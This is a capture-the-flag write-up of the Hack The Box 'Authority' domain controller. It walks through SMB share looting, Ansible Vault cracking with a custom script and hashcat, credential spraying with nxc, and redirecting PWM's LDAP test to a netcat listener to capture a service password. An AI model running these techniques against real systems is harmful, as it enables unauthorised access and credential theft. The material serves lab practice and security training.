Authority is a medium-difficulty Windows machine that highlights the dangers of misconfigurations, password reuse, storing credentials on shares, and demonstrates how default settings in Active Directory (such as the ability for all domain users to add up to 10 computers to the domain) can be combined with other issues (vulnerable AD CS certificate templates) to take over a domain.

Recon

nmap

milksteak➜  authority  ᐅ  nmap -p- --min-rate 10000 10.129.229.56                                              
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-05 18:41 +0300
Nmap scan report for 10.129.229.56
Host is up (8.0s latency).
Not shown: 53965 closed tcp ports (reset), 11541 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8443/tcp  open  https-alt
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49690/tcp open  unknown
49691/tcp open  unknown
49693/tcp open  unknown
49694/tcp open  unknown
49711/tcp open  unknown
49714/tcp open  unknown
59949/tcp open  unknown
59996/tcp open  unknown
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-05 20:28:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-05T20:29:49+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-05T20:29:48+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-05T20:29:49+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2026-07-05T20:29:48+00:00; +3h59m59s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp  open  ssl/http      Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2026-07-03T17:58:24
|_Not valid after:  2028-07-05T05:36:48
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
59949/tcp open  msrpc         Microsoft Windows RPC
59996/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-07-05T20:29:35
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.92 seconds

The nmap scan reveals a Windows Domain Controller (hostname, AUTHORITY, domain authority.htb ) with the full suite of AD services. Two webservers are present: IIS on port 80 and Apache Tomcat on 8443. WinRM is accessible on both port 5985 and 47001. SMB signing is enforced, ruling out simple relay attacks but leaving share enumeration viable

Enumeration

SMB (port 445)

its often the fastest win. Shares can leak creds, configs, or even full application backups

First we try Null session share listing:

milksteak➜  authority  ᐅ  smbclient -L //10.129.43.87 -N                                                                                                                                             

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Department Shares Disk      
        Development     Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 

Null session share listing found 2 non-standard shares:

  • Department Shares
  • Development

Next we can probe the shares will null session:

milksteak➜  authority  ᐅ  smbclient //10.129.43.87/Development -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 17 16:20:38 2023
  ..                                  D        0  Fri Mar 17 16:20:38 2023
  Automation                          D        0  Fri Mar 17 16:20:40 2023

                5888511 blocks of size 4096. 1207492 blocks available
smb: \> cd Automation
smb: \Automation\> ls
  .                                   D        0  Fri Mar 17 16:20:40 2023
  ..                                  D        0  Fri Mar 17 16:20:40 2023
  Ansible                             D        0  Fri Mar 17 16:20:50 2023

                5888511 blocks of size 4096. 1201363 blocks available
smb: \Automation\> cd Ansible
smb: \Automation\Ansible\> ls
  .                                   D        0  Fri Mar 17 16:20:50 2023
  ..                                  D        0  Fri Mar 17 16:20:50 2023
  ADCS                                D        0  Fri Mar 17 16:20:48 2023
  LDAP                                D        0  Fri Mar 17 16:20:48 2023
  PWM                                 D        0  Fri Mar 17 16:20:48 2023
  SHARE                               D        0  Fri Mar 17 16:20:48 2023

Ansible is an IT automation tool. You write playbooks (.yml files) that tell servers what to do, install software, configure services create users, deploy certs. Admins often store Ansible code on a shared drive so the team can collaborate.

Dir Purpose Risk
ADCS Automates Certificate Services setup Might contain vulnerable template configs or admin creds
LDAP Configures directory services Likely has bind credentials
PWM Sets up a password self-service portal Often stores encryption keys or admin passwords
SHARE Provisions SMB shares Could have share passwords or ACL rules

Moving on to another share

milksteak➜  authority  ᐅ  smbclient //10.129.43.87/"Department Shares" -N
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> recurse on
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> 

NT_STATUS_ACCESS_DENIED tells us Department Shares requires authentication, null session won't cut it. That's a locked door for now.

We can enumerate other services while we keep, SMB shares in mind

DNS

First we try a zone transfer on the domain identified by SMB enumeration

milksteak➜  authority  ᐅ  dig @10.129.43.87 authority.htb axfr

; <<>> DiG 9.20.24-1+b1-Debian <<>> @10.129.43.87 authority.htb axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

Zone transfer failed, lets do a record dump

milksteak➜  authority  ᐅ  dig @10.129.43.87 authority.htb ANY 

; <<>> DiG 9.20.24-1+b1-Debian <<>> @10.129.43.87 authority.htb ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2857
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;authority.htb.                 IN      ANY

;; ANSWER SECTION:
authority.htb.          600     IN      A       10.129.43.87
authority.htb.          3600    IN      NS      authority.authority.htb.
authority.htb.          3600    IN      SOA     authority.authority.htb. hostmaster.htb.corp. 199 900 600 86400 3600
authority.htb.          600     IN      AAAA    dead:beef::5b37:8ac6:3c93:dfd5
authority.htb.          600     IN      AAAA    dead:beef::165

;; ADDITIONAL SECTION:
authority.authority.htb. 3600   IN      A       10.129.43.87
authority.authority.htb. 3600   IN      AAAA    dead:beef::5b37:8ac6:3c93:dfd5
authority.authority.htb. 3600   IN      AAAA    dead:beef::165

;; Query time: 500 msec
;; SERVER: 10.129.43.87#53(10.129.43.87) (TCP)
;; WHEN: Sat Jul 18 20:46:25 EAT 2026
;; MSG SIZE  rcvd: 265

We can only confirm this is a single DC environment (no secondary NS)

HTTP Port 80

Web service enumeration commenced against the IIS instance listening on TCP/80. The whatweb fingerprinting tool identified the server as Microsoft IIS 10.0

whatweb http://10.129.43.87     
http://10.129.43.87 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.43.87], Microsoft-IIS[10.0], Title[IIS Windows Server]

image.png

HTTPS 8443

An initial request to the Tomcat root on TCP/8443 returned an HTTP redirect to /pwn indicating a deployed PWM (Password Management) application.

PWM is a open-source password self-service and identity management solution commonly integrated with LDAP/AD. This finding correlates with PWM directory observed in the Ansible automation share on SMB

milksteak➜  authority  ᐅ  whatweb https://10.129.43.87:8443 | head -n 40
https://10.129.43.87:8443 [200 OK] Country[RESERVED][ZZ], IP[10.129.43.87], Meta-Refresh-Redirect[/pwm]
https://10.129.43.87:8443/pwm [302 Found] Country[RESERVED][ZZ], IP[10.129.43.87], RedirectLocation[/pwm/]

image.png

The Configuration Manager endpoint pwm/private/config/login requires a configuration password but exposes a “Previous Authentications” table. This table reveals the service account svc_pwm in the htb.corp domain, confirming the forest root domain.

image.png

Initial Access

Ansible automation files for the PWM deployment were identified in the Development share , where the configuration variables and templates and templates are expected to contain the configuration password.

This pulls the entire PWM Ansible tree:

milksteak➜  authority  ᐅ  grep -ri "password\|pass\|secret\|bind\|pwm" .
./defaults/main.yml:pwm_run_dir: "{{ lookup('env', 'PWD') }}"
./defaults/main.yml:pwm_hostname: authority.htb.corp
./defaults/main.yml:pwm_http_port: "{{ http_port }}"
./defaults/main.yml:pwm_https_port: "{{ https_port }}"
./defaults/main.yml:pwm_https_enable: true
./defaults/main.yml:pwm_require_ssl: false
./defaults/main.yml:pwm_admin_login: !vault |
./defaults/main.yml:pwm_admin_password: !vault |
./defaults/main.yml:ldap_admin_password: !vault |
./ansible.cfg:remote_user = svc_pwm
./README.md:The purpose of this playbook is to install pwm. The pwm server name can be specified by changing the pwm_hostname variable in defaults/main.yml.
./README.md:- Download the latest build of PWM Current Build.
./README.md:- Extract pwm.war from downloaded zip file and explode by copying to Tomcat Webapps folder
./README.md:- Configure the PWM_APPLICATIONPATH environment variable.
./README.md:- pwm_hostname: hostname that pwm will service, will be set to "pwm" by default
./README.md:- pwm_port: hostname that pwm will service, will be set to 8888 by default.
./README.md:- pwm_root_mysql_password: root mysql password, will be set to a random value by default.
./README.md:- pwm_pwm_mysql_password: pwm mysql password, will be set to a random value by default.
./README.md:* pwm_admin_login: pwm admin login name, 'root' by default.
./README.md:- pwm_admin_password: pwm admin password, 'password' by default.
./ansible_inventory:ansible_password: Welcome1
./tasks/main.yml:- name: Download Pwm
./tasks/main.yml:    url: https://github.com/pwm-project/pwm/releases/download/v2_0_3/pwm-2.0.3.war
./tasks/main.yml:    dest: C:\Program Files\Apache Software Foundation\Tomcat 10.0\webapps\pwm.war
./templates/tomcat-users.xml.j2:<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>  
./templates/tomcat-users.xml.j2:<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
./meta/main.yml:  description: PWM web service

From this finding:

image.png

  1. ansible_password:Welcome1
  2. Three vault-encrypted secrets

First we can try to prove the found creds if they are applicable on any service:

milksteak➜  authority  ᐅ  nxc smb 10.129.43.87 -u svc_pwm -p Welcome1                          
SMB         10.129.43.87    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.43.87    445    AUTHORITY        [+] authority.htb\svc_pwm:Welcome1 (Guest)
milksteak➜  authority  ᐅ  nxc ldap 10.129.43.87 -u svc_pwm -p Welcome1
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
[22:50:53] ERROR    StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!   ldap.py:547
LDAPS       10.129.43.87    636    AUTHORITY        [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAPS       10.129.43.87    636    AUTHORITY        [+] authority.htb\svc_pwm:Welcome1 
milksteak➜  authority  ᐅ  nxc winrm 10.129.43.87 -u svc_pwm -p Welcome1
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\svc_pwm:Welcome1

SMB: has access but shit rights

LDAP: valid bind, can query AD over LDAPS (but imagine going through all that for this)

WINRM: lmao, get a job

With the clear creds validated but yielding (dick) [insert Frank Reynolds], attention shifted to the Ansible vault-encrypted entries in defaults/main.yml

milksteak➜  authority  ᐅ  cat defaults/main.yml 
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764%

The values in this file above are protected with Ansible Vault. Attempts to process the blocks with ansible2john hit the fan due to YAML indentation formatting, so a custom Python script was used to parse each vault entry, concatenate the wrapped hex lines, and split the payload into salt, HMAC, and ciphertext components. The resulting hashes were formatted for Hashcat mode 16900 against rockyou.txt

#!/usr/bin/env python3
"""
Extract Ansible Vault blocks from a YAML file and save them as individual
.vault files suitable for ansible2john or hashcat.
"""

import yaml
import sys
from pathlib import Path

def vault_constructor(loader, node):
    """Handle the !vault tag by returning the raw scalar value."""
    return loader.construct_scalar(node)

# Register the !vault tag constructor
yaml.SafeLoader.add_constructor('!vault', vault_constructor)

def extract_vault_blocks(yaml_path):
    with open(yaml_path, 'r') as f:
        data = yaml.safe_load(f)

    vaults = {}
    
    def find_vaults(obj, prefix=''):
        if isinstance(obj, dict):
            for key, value in obj.items():
                full_key = f"{prefix}.{key}" if prefix else key
                if isinstance(value, str) and value.strip().startswith('$ANSIBLE_VAULT'):
                    vaults[full_key] = clean_vault_block(value)
                elif isinstance(value, (dict, list)):
                    find_vaults(value, full_key)
        elif isinstance(obj, list):
            for i, item in enumerate(obj):
                find_vaults(item, f"{prefix}[{i}]")
    
    find_vaults(data)
    return vaults

def clean_vault_block(vault_text):
    lines = vault_text.strip().split('\n')
    header = lines[0].strip()
    hex_data = ''.join(line.strip() for line in lines[1:] if line.strip())
    return f"{header}\n{hex_data}\n"

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <yaml_file> [output_dir]")
        sys.exit(1)
    
    yaml_file = Path(sys.argv[1])
    output_dir = Path(sys.argv[2]) if len(sys.argv) > 2 else Path('.')
    
    output_dir.mkdir(parents=True, exist_ok=True)
    vaults = extract_vault_blocks(yaml_file)
    
    for name, vault_data in vaults.items():
        safe_name = name.replace('.', '_')
        out_path = output_dir / f"{safe_name}.vault"
        with open(out_path, 'w') as f:
            f.write(vault_data)
        print(f"[+] {name} -> {out_path}")
    
    print(f"\n[*] Next: ansible2john {output_dir}/*.vault > hashes.txt")

if __name__ == '__main__':
    main()
milksteak➜  authority  ᐅ  python3 script.py defaults/main.yml hashes
[+] pwm_admin_login -> hashes/pwm_admin_login.vault
[+] pwm_admin_password -> hashes/pwm_admin_password.vault
[+] ldap_admin_password -> hashes/ldap_admin_password.vault

[*] Next: ansible2john hashes/*.vault > hashes.txt
milksteak➜  authority  ᐅ  ansible2john hashes/*.vault > hashes.txt       
milksteak➜  authority  ᐅ  cat hashes.txt 
ldap_admin_password.vault:$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635
pwm_admin_login.vault:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
pwm_admin_password.vault:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5

Hashcat with —user flag is very important

milksteak➜  authority  ᐅ  hashcat hashes.txt ~/rockyou.txt --user
hashcat (v7.1.2) starting in autodetect mode

$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5:!@#$%^&*
$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8:!@#$%^&*
$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635:!@#$%^&*
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16900 (Ansible Vault)
Hash.Target......: hashes.txt

The password is: !@#$%^&*

Now let’s view the decrypted vault contents. The individual .vault files in your hashes/ directory are the proper vault files:

milksteak➜  authority  ᐅ  ansible-vault view hashes/pwm_admin_login.vault --vault-password-file <(echo '!@#$%^&*')
ansible-vault view hashes/pwm_admin_password.vault --vault-password-file <(echo '!@#$%^&*')
ansible-vault view hashes/ldap_admin_password.vault --vault-password-file <(echo '!@#$%^&*')
svc_pwm
pWm_@dm!N_!23
DevT3st@123

Decrypting the individual vault files yielded three critical credentials: the PWM admin login (SNC_PWM) password is pWm_@dm!N_!23 and the LDAP admin password DevT3st@123

images.jpeg

We will automate this with bash:

echo "=== Testing DevT3st@123 ===" && \
for user in administrator svc_ldap ldap_admin admin svc_pwm; do
    echo "[*] $user:DevT3st@123"
    nxc smb 10.129.43.87 -u "$user" -p 'DevT3st@123' 2>/dev/null
    nxc ldap 10.129.43.87 -u "$user" -p 'DevT3st@123' 2>/dev/null
    nxc winrm 10.129.43.87 -u "$user" -p 'DevT3st@123' 2>/dev/null
done && \
echo "=== Testing svc_pwm:pWm_@dm!N_!23 ===" && \
nxc smb 10.129.43.87 -u svc_pwm -p 'pWm_@dm!N_!23' 2>/dev/null && \
nxc ldap 10.129.43.87 -u svc_pwm -p 'pWm_@dm!N_!23' 2>/dev/null && \
nxc winrm 10.129.43.87 -u svc_pwm -p 'pWm_@dm!N_!23' 2>/dev/null
milksteak➜  authority  ᐅ  bash blaster.sh 
=== Testing DevT3st@123 ===
[*] administrator:DevT3st@123
SMB         10.129.43.87    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.43.87    445    AUTHORITY        [-] authority.htb\administrator:DevT3st@123 STATUS_LOGON_FAILURE 
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
LDAP        10.129.43.87    389    AUTHORITY        [-] authority.htb\administrator:DevT3st@123 
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\administrator:DevT3st@123
[*] svc_ldap:DevT3st@123
SMB         10.129.43.87    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.43.87    445    AUTHORITY        [-] authority.htb\svc_ldap:DevT3st@123 STATUS_LOGON_FAILURE 
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
LDAP        10.129.43.87    389    AUTHORITY        [-] authority.htb\svc_ldap:DevT3st@123 
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\svc_ldap:DevT3st@123
[*] ldap_admin:DevT3st@123
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
[10:57:58] ERROR    StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!   ldap.py:547
LDAPS       10.129.43.87    636    AUTHORITY        [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAPS       10.129.43.87    636    AUTHORITY        [+] authority.htb\ldap_admin:DevT3st@123 
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\ldap_admin:DevT3st@123
[*] admin:DevT3st@123
SMB         10.129.43.87    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.43.87    445    AUTHORITY        [+] authority.htb\admin:DevT3st@123 (Guest)
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
[10:58:15] ERROR    StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!   ldap.py:547
LDAPS       10.129.43.87    636    AUTHORITY        [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAPS       10.129.43.87    636    AUTHORITY        [+] authority.htb\admin:DevT3st@123 
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\admin:DevT3st@123
[*] svc_pwm:DevT3st@123
SMB         10.129.43.87    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.43.87    445    AUTHORITY        [+] authority.htb\svc_pwm:DevT3st@123 (Guest)
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
[10:58:31] ERROR    StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!   ldap.py:547
LDAPS       10.129.43.87    636    AUTHORITY        [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAPS       10.129.43.87    636    AUTHORITY        [+] authority.htb\svc_pwm:DevT3st@123 
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\svc_pwm:DevT3st@123
=== Testing svc_pwm:pWm_@dm!N_!23 ===
SMB         10.129.43.87    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.43.87    445    AUTHORITY        [+] authority.htb\svc_pwm:pWm_@dm!N_!23 (Guest)
LDAP        10.129.43.87    389    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
[10:58:49] ERROR    StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!   ldap.py:547
LDAPS       10.129.43.87    636    AUTHORITY        [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAPS       10.129.43.87    636    AUTHORITY        [+] authority.htb\svc_pwm:pWm_@dm!N_!23 
WINRM       10.129.43.87    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.43.87    5985   AUTHORITY        [-] authority.htb\svc_pwm:pWm_@dm!N_!23

Credential spraying with the recovered vault password DevT3st@123 identified the ldap_admin account as a valid domain user with successful LDAPS authentication. While svc_pwn and admin also authenticated , they were restricted to Guest-level SMB sessions. The ldap_admin credentials provided the first functional domain account for further AD enumeration

milksteak➜  authority  ᐅ  ldapsearch -x -H ldaps://10.129.43.87 -D 'ldap_admin@authority.htb' -w 'DevT3st@123' \
  -b 'CN=Configuration,DC=authority,DC=htb' '(objectClass=pKICertificateTemplate)' \
  cn | grep -i "cn\|mspki\|enroll"
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)

I guess we should hit the PWM

Log in with:

  • Username: svc_pwm
  • Password: pWm_@dm!N_!23

image.png

The LDAP URLs field is editable. Change it to your attacker machine, click "Test LDAP Profile", and PWM will happily send the stored bind credentials (including the password!) to our rogue LDAP listener.

image.png

milksteak➜  authority  ᐅ  sudo nc -lnvp 389
[sudo] password for xi: 
listening on [any] 389 ...
connect to [10.10.15.168] from (UNKNOWN) [10.129.44.35] 50602
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!0P

The PWM Configuration Editor exposed the LDAP directory settings, including the proxy user CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb,but masked the password field. By modifying the LDAP URL to point to a rogue listener on the attacker machine and triggering the "Test LDAP Profile" function, PWM transmitted the stored bind credentials over the wire in plaintext. The captured LDAP bind request revealed the password lDaP_1n_th3_cle4r!, providing authenticated access to the directory as the svc_ldap service account.

Those creds work with the svc_ldap account over both SMB and WinRM:

milksteak➜  authority  ᐅ  nxc winrm 10.129.44.35 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
WINRM       10.129.44.35    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) 
WINRM       10.129.44.35    5985   AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)
milksteak➜  authority  ᐅ  nxc smb 10.129.44.35 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
SMB         10.129.44.35    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
